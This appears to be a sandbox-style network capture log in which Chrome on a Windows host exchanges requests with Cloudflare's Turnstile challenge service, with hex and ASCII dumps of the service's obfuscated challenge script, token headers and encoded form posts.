2024-10-25 08:19:34 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c836df1d4755&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:34 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119579 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c84c1cc26bd1-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:34 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d Data Ascii: g%20only.","turnstile_expired":"Expired","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","not_embedded":"This%20challenge%20must%20be%20em
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 38 37 37 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 33 37 30 29 29 2f 38 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 34 35 36 29 29 2f 39 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 36 38 33 29 29 2f 31 30 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 39 31 32 29 29 2f 31 31 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 35 31 33 33 35 35 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 34 34 33 29 5d 2c 65 4d 5b 67 4c 28 35 38 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 67 56 2c 65 2c 68 2c 69 29 7b 65 Data Ascii: ))/6(parseInt(gK(877))/7)+-parseInt(gK(1370))/8(-parseInt(gK(456))/9)+parseInt(gK(683))/10*(-parseInt(gK(912))/11),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,513355),eM=this\|\|self,eN=eM[gL(1443)],eM[gL(580)]=function(c,gV,e,h,i){e
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 2c 27 4b 64 49 51 79 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 67 79 76 4d 56 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 42 55 79 68 74 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 68 3d 3d 3d 6e 75 6c 6c 7c 7c 68 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 6f 5b 68 30 28 36 39 36 29 5d 28 65 56 2c 68 29 2c 67 5b 68 30 28 31 33 34 38 29 5d 5b 68 30 28 32 30 33 29 5d 26 26 28 78 3d 78 5b 68 30 28 31 30 30 36 29 5d 28 67 5b 68 30 28 31 33 34 38 29 5d 5b 68 30 28 32 30 33 29 5d 28 68 29 29 29 2c 78 3d 67 5b 68 30 28 31 32 36 31 29 5d 5b 68 30 28 34 39 35 29 5d 26 26 67 5b 68 30 28 32 33 37 Data Ascii: ,'KdIQy':function(G,H){return G(H)},'gyvMV':function(G,H){return H===G},'BUyht':function(G,H){return G+H}},h===null\|\|h===void 0)return j;for(x=o[h0(696)](eV,h),g[h0(1348)][h0(203)]&&(x=x[h0(1006)](g[h0(1348)][h0(203)](h))),x=g[h0(1261)][h0(495)]&&g[h0(237
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 39 33 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 68 34 29 7b 68 34 3d 68 33 2c 6a 5e 3d 6c 5b 68 34 28 31 34 32 31 29 5d 28 73 29 7d 29 2c 66 3d 65 4d 5b 68 33 28 38 30 36 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 68 33 28 31 34 32 31 29 5d 28 2b 2b 69 29 29 3b 6b 5b 68 33 28 31 30 37 34 29 5d 28 53 74 72 69 6e 67 5b 68 33 28 31 32 39 30 29 5d 28 28 68 5b 68 33 28 31 65 33 29 5d 28 28 6d 26 32 35 35 2e 30 33 29 2d 6a 2c 68 5b 68 33 28 37 37 38 29 5d 28 69 2c 36 35 35 33 35 29 29 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 68 33 28 36 38 35 29 5d 28 27 27 29 7d 2c 65 5a 3d 5b 5d 2c 66 30 3d 30 3b 32 35 36 3e 66 30 3b 65 5a 5b 66 30 5d 3d 53 74 72 69 6e 67 5b 67 4c 28 31 Data Ascii: 93)](/./g,function(n,s,h4){h4=h3,j^=l[h4(1421)](s)}),f=eM[h3(806)](f),k=[],i=-1;!isNaN(m=f[h3(1421)](++i));k[h3(1074)](String[h3(1290)]((h[h3(1e3)]((m&255.03)-j,h[h3(778)](i,65535))+65535)%255)));return k[h3(685)]('')},eZ=[],f0=0;256>f0;eZ[f0]=String[gL(1
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 28 45 2c 69 5b 68 46 28 39 38 36 29 5d 2c 68 46 28 31 33 37 34 29 29 29 3b 73 28 29 2c 6c 28 69 5b 68 46 28 31 36 38 30 29 5d 29 2c 69 5b 68 46 28 31 35 30 34 29 5d 28 78 2c 69 5b 68 46 28 35 30 33 29 5d 29 2c 42 28 29 2c 69 5b 68 46 28 31 35 30 34 29 5d 28 43 2c 68 46 28 32 31 32 29 29 7d 65 6c 73 65 7b 69 66 28 6a 3d 66 73 28 66 5b 68 46 28 31 30 30 35 29 5d 2c 66 5b 68 46 28 39 39 38 29 5d 29 2c 66 5b 68 46 28 31 30 30 35 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 3f 66 5b 68 46 28 31 30 30 35 29 5d 3d 4a 53 4f 4e 5b 68 46 28 32 33 38 29 5d 28 66 5b 68 46 28 31 30 30 35 29 5d 2c 4f 62 6a 65 63 74 5b 68 46 28 32 30 33 29 5d 28 66 5b 68 46 28 31 30 30 35 29 5d 29 29 3a 66 5b 68 46 28 31 30 30 35 29 5d 3d 4a 53 4f 4e 5b 68 46 28 32 33 38 29 5d Data Ascii: (E,i[hF(986)],hF(1374)));s(),l(i[hF(1680)]),i[hF(1504)](x,i[hF(503)]),B(),i[hF(1504)](C,hF(212))}else{if(j=fs(f[hF(1005)],f[hF(998)]),f[hF(1005)]instanceof Error?f[hF(1005)]=JSON[hF(238)](f[hF(1005)],Object[hF(203)](f[hF(1005)])):f[hF(1005)]=JSON[hF(238)]
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 20 6e 28 6f 29 7d 2c 27 41 69 66 57 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 21 3d 3d 6e 7d 2c 27 53 43 4a 4c 78 27 3a 68 47 28 37 37 32 29 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 28 66 3d 64 5b 68 47 28 31 31 38 34 29 5d 2c 64 5b 68 47 28 33 30 32 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 68 47 28 33 30 32 29 5d 3d 3d 3d 68 47 28 35 32 35 29 29 26 26 28 6a 3d 64 5b 68 47 28 33 30 32 29 5d 5b 68 47 28 31 33 32 37 29 5d 28 27 5c 6e 27 29 2c 6a 5b 68 47 28 31 35 31 30 29 5d 3e 31 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 68 47 28 34 35 30 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 70 61 72 73 65 49 6e 74 28 6c Data Ascii: n(o)},'AifWJ':function(n,o){return o!==n},'SCJLx':hG(772)},d instanceof Error)(f=d[hG(1184)],d[hG(302)]&&typeof d[hG(302)]===hG(525))&&(j=d[hG(302)][hG(1327)]('\n'),j[hG(1510)]>1)&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][hG(450)](k),l&&(g=l[1],h=parseInt(l
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 20 73 21 3d 3d 76 7d 2c 6a 5b 68 49 28 32 34 37 29 5d 3d 68 49 28 31 36 30 34 29 2c 6a 5b 68 49 28 31 32 33 39 29 5d 3d 68 49 28 31 34 30 35 29 2c 6b 3d 6a 2c 6c 3d 65 5b 68 49 28 31 34 33 30 29 5d 28 29 2c 6d 3d 6b 5b 68 49 28 32 34 37 29 5d 2c 6c 5b 68 49 28 31 36 34 38 29 5d 28 6d 29 3e 2d 31 29 3f 65 4d 5b 68 49 28 31 36 35 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 4a 29 7b 68 4a 3d 68 49 2c 65 4d 5b 68 4a 28 38 36 39 29 5d 28 29 7d 2c 31 65 33 29 3a 6b 5b 68 49 28 31 32 33 39 29 5d 3d 3d 3d 68 49 28 37 33 32 29 3f 6e 5b 68 49 28 35 33 30 29 5d 3d 6b 5b 68 49 28 33 35 31 29 5d 3a 28 6e 3d 7b 7d 2c 6e 5b 68 49 28 31 31 34 30 29 5d 3d 65 2c 6e 5b 68 49 28 39 39 38 29 5d 3d 66 2c 6e 5b 68 49 28 31 36 38 32 29 5d 3d 67 2c 6e 5b 68 49 28 31 35 34 32 29 5d Data Ascii: s!==v},j[hI(247)]=hI(1604),j[hI(1239)]=hI(1405),k=j,l=e[hI(1430)](),m=k[hI(247)],l[hI(1648)](m)>-1)?eM[hI(1653)](function(hJ){hJ=hI,eM[hJ(869)]()},1e3):k[hI(1239)]===hI(732)?n[hI(530)]=k[hI(351)]:(n={},n[hI(1140)]=e,n[hI(998)]=f,n[hI(1682)]=g,n[hI(1542)]
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 7d 65 6c 73 65 20 65 4d 5b 68 4c 28 38 36 39 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 68 49 28 38 34 38 29 5d 5b 68 49 28 32 35 38 29 5d 28 68 49 28 31 33 30 30 29 2c 65 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 66 77 3d 7b 7d 2c 66 77 5b 67 4c 28 36 39 33 29 5d 3d 66 76 2c 65 4d 5b 67 4c 28 37 34 34 29 5d 3d 66 77 2c 66 79 3d 65 4d 5b 67 4c 28 31 31 35 37 29 5d 5b 67 4c 28 38 32 39 29 5d 5b 67 4c 28 36 37 38 29 5d 2c 66 7a 3d 65 4d 5b 67 4c 28 31 31 35 37 29 5d 5b 67 4c 28 38 32 39 29 5d 5b 67 4c 28 31 34 39 33 29 5d 2c 66 41 3d 65 4d 5b 67 4c 28 31 31 35 37 29 5d 5b 67 4c 28 38 32 39 29 5d 5b 67 4c 28 31 34 30 37 29 5d 2c 66 4d 3d 21 5b 5d 2c 66 5a 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4c 28 31 34 37 39 29 5d 28 67 4c 28 31 31 38 34 29 2c 66 75 Data Ascii: }else eM[hL(869)]()},1e3),eM[hI(848)][hI(258)](hI(1300),e));return![]},fw={},fw[gL(693)]=fv,eM[gL(744)]=fw,fy=eM[gL(1157)][gL(829)][gL(678)],fz=eM[gL(1157)][gL(829)][gL(1493)],fA=eM[gL(1157)][gL(829)][gL(1407)],fM=![],fZ=undefined,eM[gL(1479)](gL(1184),fu
2024-10-25 08:19:34 UTC	1369	IN	Data Raw: 67 61 2c 67 79 5b 67 4c 28 37 30 39 29 5d 3d 67 39 2c 67 79 5b 67 4c 28 33 30 30 29 5d 3d 67 38 2c 67 79 5b 67 4c 28 31 32 31 36 29 5d 3d 66 54 2c 67 79 5b 67 4c 28 31 31 32 39 29 5d 3d 67 78 2c 67 79 5b 67 4c 28 31 30 38 36 29 5d 3d 66 55 2c 67 79 5b 67 4c 28 32 37 33 29 5d 3d 66 59 2c 67 79 5b 67 4c 28 36 32 39 29 5d 3d 66 56 2c 67 79 5b 67 4c 28 35 33 37 29 5d 3d 66 51 2c 67 79 5b 67 4c 28 37 34 39 29 5d 3d 66 50 2c 65 4d 5b 67 4c 28 31 36 36 31 29 5d 3d 67 79 2c 67 7a 3d 66 75 6e 63 74 69 6f 6e 28 6a 62 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 6a 62 3d 67 4c 2c 64 3d 7b 27 56 6e 48 53 64 27 3a 6a 62 28 31 31 32 34 29 2c 27 69 57 45 7a 61 27 3a 6a 62 28 31 36 34 34 29 2c 27 46 79 74 78 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 Data Ascii: ga,gy[gL(709)]=g9,gy[gL(300)]=g8,gy[gL(1216)]=fT,gy[gL(1129)]=gx,gy[gL(1086)]=fU,gy[gL(273)]=fY,gy[gL(629)]=fV,gy[gL(537)]=fQ,gy[gL(749)]=fP,eM[gL(1661)]=gy,gz=function(jb,d,e,f,g){return jb=gL,d={'VnHSd':jb(1124),'iWEza':jb(1644),'FytxL':function(h,i){re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50087	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:36 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8d80c836df1d4755/1729844374085/dd70a4917b8df5aa0f8fde3cc43b14e01801363e54111349f82858020690aefb/Z1X90KRZrnO15Jo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:36 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 25 Oct 2024 08:19:36 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-25 08:19:36 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 33 58 43 6b 6b 58 75 4e 39 61 6f 50 6a 39 34 38 78 44 73 55 34 42 67 42 4e 6a 35 55 45 52 4e 4a 2d 43 68 59 41 67 61 51 72 76 73 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g3XCkkXuN9aoPj948xDsU4BgBNj5UERNJ-ChYAgaQrvsAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-25 08:19:36 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50090	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:37 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:37 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:37 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 54c33tPiLoChdXbd3mWRuWhwODiu4vOF+/4=$ZlMmlMNTixK/Fcnf cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c85f1d2f3ab0-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:37 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50094	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:38 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c836df1d4755/1729844374089/DckShhWThQsvEsd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:38 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:38 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c86818f86c62-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5a 00 00 00 19 08 02 00 00 00 3e 06 ae 97 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRZ>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50097	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:39 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31273 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:39 UTC	16384	OUT	Data Raw: 76 5f 38 64 38 30 63 38 33 36 64 66 31 64 34 37 35 35 3d 64 37 44 67 34 25 32 62 33 78 50 6b 44 33 37 53 49 54 43 33 34 76 74 4e 6b 33 39 64 33 6d 76 77 67 74 65 54 4f 43 76 2b 67 2b 65 76 6a 76 54 67 64 56 2b 4b 79 76 63 67 53 37 67 76 61 44 79 76 72 67 30 57 37 76 35 30 67 2b 58 76 49 71 4d 78 56 76 2b 77 33 53 54 4f 76 53 55 72 49 36 76 35 72 76 55 67 4e 78 76 50 36 32 67 76 38 72 76 6b 37 51 76 6a 77 2b 2b 76 4f 56 2b 4d 4b 4b 44 62 37 76 4a 76 54 6a 4b 69 76 41 6c 6c 67 76 54 4e 76 54 6a 44 2b 5a 6c 76 35 55 62 76 2b 7a 43 49 2d 77 36 44 69 44 76 42 67 54 62 6f 33 43 6e 61 57 6b 30 76 33 30 6c 6f 53 70 43 37 68 74 6b 4d 24 6b 76 46 6c 37 51 68 4e 44 61 76 44 55 62 65 48 42 72 53 36 70 6b 65 67 68 78 6e 6a 31 48 76 30 73 68 4a 69 30 41 34 78 71 4a 49 Data Ascii: v_8d80c836df1d4755=d7Dg4%2b3xPkD37SITC34vtNk39d3mvwgteTOCv+g+evjvTgdV+KyvcgS7gvaDyvrg0W7v50g+XvIqMxVv+w3STOvSUrI6v5rvUgNxvP62gv8rvk7Qvjw++vOV+MKKDb7vJvTjKivAllgvTNvTjD+Zlv5Ubv+zCI-w6DiDvBgTbo3CnaWk0v30loSpC7htkM$kvFl7QhNDavDUbeHBrS6pkeghxnj1Hv0shJi0A4xqJI
2024-10-25 08:19:39 UTC	14889	OUT	Data Raw: 32 49 76 54 65 54 5a 33 65 76 73 67 44 67 4e 2b 74 63 2d 49 6e 6c 33 70 47 4a 47 46 49 53 63 76 44 53 6e 76 4e 56 33 46 76 57 76 54 56 33 4f 54 6b 59 33 65 76 2b 37 24 67 33 6c 63 53 76 56 56 54 65 33 2b 67 6f 67 2b 6b 33 6e 76 2b 6a 42 32 76 4e 76 58 77 33 76 33 68 76 42 56 4e 61 33 46 76 54 77 53 72 76 6f 76 78 77 53 45 76 7a 76 4d 76 6b 78 76 56 76 68 77 35 78 33 38 76 30 78 53 37 76 56 54 65 67 2b 55 76 61 76 35 77 76 67 76 76 76 4c 77 4e 67 76 56 76 46 76 6b 77 76 71 65 58 44 35 34 6e 53 67 68 4f 54 67 76 6b 76 48 76 2b 56 33 56 44 41 50 53 56 54 42 77 6b 76 35 6b 76 46 50 41 76 4d 49 76 68 76 4d 42 36 77 2b 46 76 4d 76 54 56 76 6c 76 71 77 35 45 76 4b 76 73 77 76 61 76 51 67 35 56 35 45 76 6f 47 4e 50 54 67 65 6e 76 53 76 35 77 76 74 76 57 47 79 71 Data Ascii: 2IvTeTZ3evsgDgN+tc-Inl3pGJGFIScvDSnvNV3FvWvTV3OTkY3ev+7$g3lcSvVVTe3+gog+k3nv+jB2vNvXw3v3hvBVNa3FvTwSrvovxwSEvzvMvkxvVvhw5x38v0xS7vVTeg+Uvav5wvgvvvLwNgvVvFvkwvqeXD54nSghOTgvkvHv+V3VDAPSVTBwkv5kvFPAvMIvhvMB6w+FvMvTVvlvqw5EvKvswvavQg5V5EvoGNPTgenvSv5wvtvWGyq
2024-10-25 08:19:40 UTC	330	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26268 Connection: close cf-chl-gen: CHyiIL/MPRoATs6HucMbNe8TlgP3pPQo0LncGHdj7OTLw94e+olnQ24aQ0PDW6JkA/yipLpJHbi7sZy9$POvZhXOH1M3O8iMB Server: cloudflare CF-RAY: 8d80c86d9aec6c70-DFW alt-svc: h3=":443"; ma=86400
